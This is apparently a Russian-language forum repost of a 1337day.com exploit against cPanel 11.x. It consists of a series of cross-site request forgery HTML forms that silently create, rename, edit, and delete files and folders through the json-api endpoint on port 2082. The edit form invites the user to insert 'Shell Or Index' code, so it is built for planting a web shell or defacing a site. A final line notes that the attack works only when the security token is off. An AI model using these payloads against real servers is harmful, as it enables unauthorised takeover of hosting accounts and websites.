Cpanel 11.X Multiple CSRF Vulnerability Код: ==================================================================== #################################################################### .:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn] .:. Script : http://www.cpanel.net/ .:. Gr34T$ T0 [aboud-el] #################################################################### [ Exploit ] Добавить файл Код: <form method="POST" name="form0" action="http://IP-сервера:2082/json-api/cpanel"> <input type="hidden" name="cpanel_jsonapi_module" value="Fileman"/> <input type="hidden" name="cpanel_jsonapi_func" value="mkfile"/> <input type="hidden" name="path" value="/public_html"/> <input type="hidden" name="name" value="testfile.php"/> </form> </body> </html> где Код: <input type="hidden" name="name" value="testfile.php"/> Имя файла Переименовать файл Код: <form method="POST" name="form0" action="http://IP-сервера:2082/json-api/cpanel"> <input type="hidden" name="cpanel_jsonapi_module" value="Fileman"/> <input type="hidden" name="cpanel_jsonapi_func" value="fileop"/> <input type="hidden" name="cpanel_jsonapi_apiversion" value="2"/> <input type="hidden" name="filelist" value="1"/> <input type="hidden" name="multiform" value="1"/> <input type="hidden" name="doubledecode" value="0"/> <input type="hidden" name="op" value="rename"/> <input type="hidden" name="metadata" value="[object HTMLTableRowElement]"/> <input type="hidden" name="sourcefiles" value="/home/User/public_html/testfile.php"/> <input type="hidden" name="destfiles" value="testfile_new.php"/> </body> </html> где Код: <input type="hidden" name="destfiles" value="testfile_new.php"/> Новое имя файла Редактировать файл Код: <form method="POST" name="form0" action="http://IP-сервера:2082/json-api/cpanel"> <input type="hidden" name="cpanel_jsonapi_apiversion" value="2"/> <input type="hidden" name="cpanel_jsonapi_module" value="Fileman"/> <input type="hidden" name="cpanel_jsonapi_func" value="savefile"/> <input type="hidden" name="dir" value="/home/User/public_html"/> <input type="hidden" name="filename" value="testfile_new.php"/> <input type="hidden" name="content" value="Ur Code (Shell Or Index)"/> <input type="hidden" name="utf8_fallback" value="1"/> <input type="hidden" name="charset" value="utf-8"/> </form> </body> </html> Удалить файл Код: <form method="POST" name="form0" action="http://IP-сервера:2082/json-api/cpanel"> <input type="hidden" name="cpanel_jsonapi_module" value="Fileman"/> <input type="hidden" name="cpanel_jsonapi_func" value="fileop"/> <input type="hidden" name="cpanel_jsonapi_apiversion" value="2"/> <input type="hidden" name="filelist" value="1"/> <input type="hidden" name="multiform" value="1"/> <input type="hidden" name="doubledecode" value="0"/> <input type="hidden" name="op" value="unlink"/> <input type="hidden" name="metadata" value="undefined"/> <input type="hidden" name="sourcefiles" value="/home/User/public_html/testfile_new.php"/> </form> </body> </html> где Код: <input type="hidden" name="sourcefiles" value="/home/User/public_html/testfile_new.php"/> удаляемый файл Добавить папку Код: <form method="POST" name="form0" action="http://IP:2082/json-api/cpanel"> <input type="hidden" name="cpanel_jsonapi_module" value="Fileman"/> <input type="hidden" name="cpanel_jsonapi_func" value="mkdir"/> <input type="hidden" name="path" value="/public_html"/> <input type="hidden" name="name" value="folder"/> </form> </body> </html> где Код: <input type="hidden" name="name" value="folder"/> Имя папки Переименовать папку Код: <form method="POST" name="form0" action="http://IP:2082/json-api/cpanel"> <input type="hidden" name="cpanel_jsonapi_module" value="Fileman"/> <input type="hidden" name="cpanel_jsonapi_func" value="fileop"/> <input type="hidden" name="cpanel_jsonapi_apiversion" value="2"/> <input type="hidden" name="filelist" value="1"/> <input type="hidden" name="multiform" value="1"/> <input type="hidden" name="doubledecode" value="0"/> <input type="hidden" name="op" value="rename"/> <input type="hidden" name="metadata" value="[object HTMLTableRowElement]"/> <input type="hidden" name="sourcefiles" value="/home/User/public_html/folder"/> <input type="hidden" name="destfiles" value="newfolder"/> </form> </body> </html> где Код: <input type="hidden" name="destfiles" value="newfolder"/> новое имя Удалить папку Код: <form method="POST" name="form0" action="http://IP:2082/json-api/cpanel"> <input type="hidden" name="cpanel_jsonapi_module" value="Fileman"/> <input type="hidden" name="cpanel_jsonapi_func" value="fileop"/> <input type="hidden" name="cpanel_jsonapi_apiversion" value="2"/> <input type="hidden" name="filelist" value="1"/> <input type="hidden" name="multiform" value="1"/> <input type="hidden" name="doubledecode" value="0"/> <input type="hidden" name="op" value="unlink"/> <input type="hidden" name="metadata" value="undefined"/> <input type="hidden" name="sourcefiles" value="/home/User/public_html/newfolder"/> </form> </body> </html> где Код: <input type="hidden" name="sourcefiles" value="/home/User/public_html/newfolder"/> Назваие удаляемой папки (c) 1337day.com Сработает только если отключен "Маркер безопасности" как заявил cPanelJeff